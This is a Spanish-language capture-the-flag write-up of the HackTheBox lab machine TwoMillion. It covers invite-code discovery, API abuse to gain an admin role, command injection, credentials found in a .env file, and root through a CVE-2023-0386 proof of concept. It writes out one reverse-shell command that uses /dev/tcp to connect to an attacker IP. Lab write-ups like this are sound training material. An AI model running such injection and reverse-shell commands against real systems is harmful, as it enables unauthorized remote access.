- Tags: #Easy #CVE #Linux
Reconocimiento
- Identificación de sistema operativo a través de ping

- Como el ttl es cercano a 64, se puede saber que la máquina es Linux
- Identificación de puertos abiertos con Nmap
- Primero se realiza un escaneo básico para identificar los puertos abiertos de la máquina:

- Luego se hace un escaneo más detallado de los puertos abiertos para encontrar los servicios y versiones que corren en el servidor

- Revisión de la página web desplegada por el puerto 80 de la máquina TwoMillion
-
Al ingresar a la página desplegada por el puerto 80, se puede ver una antigua landing page de HackTheBox, por lo que para ingresar a la plataforma es necesario conseguir un código de invitación.

-
- Búsqueda en el apartado de invitación
-
Al igual que en la versión antigua de HackTheBox, al ingresar pide un código de invitación, el cual no se proporciona en ninguna parte:

-
Para obtener el código de invitación es necesario buscar dentro del código fuente de la página, específicamente un script que se llama inviteapi.min.js:
En este apartado es necesario ingresar al recurso y ver qué hace1:

-
En este código se puede ver que hay una función llamada
makeInviteCode, la cual se puede llamar en el navegador para tatar de conseguir un código de invitación:
-
El mensaje está codificado en ROT13 por lo que, al decodificarlo se obtiene esta cadena:
In order to generate the invite code, make a POST request to /api/v1/invite/generate -
Teniendo en cuenta esto, se puede realizar una petición POST al endpoint
/api/v1/invite/generatepara conseguir un código de invitación válido:
-
El código está codificado y, por lo que se puede ver, está codificado en Base64, por lo que se intenta decodificar:

-
Se prueba el código de invitación y se registra en la página:

-
Se inicia sesión con la cuenta creada anteriormente:

- Búsqueda en la página principal (luego de iniciar sesión)
-
Dentro de la página hay un apartado que llama la atención llamado "Access", por lo que se ingresa para ver su contenido:

-
En este apartado se encuentra un botón que aparentemente permite descargar una VPN y al hacer hovering sobre este, se ve que llama al endpoint
/api/v1/user/vpn/generate, por lo que se puede intentar hacer una petición a/api/v1para tratar de listar los endpoints que están disponibles en la página2:
-
Se puede observar que hay un endpoint PUT
/api/v1/admin/settings/updatedesde el cual se puede cambiar la configuración de un usuario, posiblemente para convertirlo en administrador, por lo que se intenta usar dicho endpoint3:
-
Luego de esto, se puede probar con el endpoint
/api/v1/admin/vpn/generatepara ver qué responde4:
Acceso como usuario no privilegiado
- Ejecución remota de comandos por medio de petición
-
Una vez conseguida la respuesta, se puede intentar inyectar comandos por medio de la petición de la siguiente manera:

-
De esta manera se podría conseguir una reverse shell con el siguiente comando:
bash -c \"bash -i >& /dev/tcp/10.10.16.13/443 0>&1\"
- Obtención de credenciales a través de archivos ocultos
-
Se listan los archivos ocultos y se encuentra un archivo
.env, del cual se puede intentar obtener credenciales válidas:
-
Con las credenciales obtenidas (admin/SuperDuperPass123), se intenta acceder al usuario "admin" por medio de ssh:

-
Dentro del usuario admin se encuentra la primera flag (usuario no privilegiado):

Escalada de privilegios
- Búsqueda en los correos del usuario admin
-
Se ingresa a la carpeta
/var/spool/maily se lista el contenido del archivo "admin":
-
Se puede ver que hay una vulnerabilidad de la cual se le está notificando así que se puede probar dicha vulnerabilidad:
-
Desde la máquina atacante se clona el repositorio CVE-2023-0386:

-
Se comprime la carpeta:

-
Se trae el comprimido a la máquina víctima5:

-
- Ejecución del CVE
-
Se descomprime el archivo subido previamente y se siguen las instrucciones del POC:

-
Se ingresa a la carpeta
/rooty se accede a la flag:
Footnotes
-
En este caso es una línea muy larga por lo que se utiliza de4js para que sea legible ↩
-
En este caso es necesario poner la cookie de sesión para poder acceder al contenido de
/api/v1↩ -
En este caso se prueba varias veces el endpoint agregando el Content-Type y luego los valores que se van pidiendo hasta lograr cambiar el tipo de cuenta a "admin" ↩
-
Se hace igual que en el paso anterior ↩
-
La IP atacante cambió debido a un cambio de equipo en la realización del writeup ↩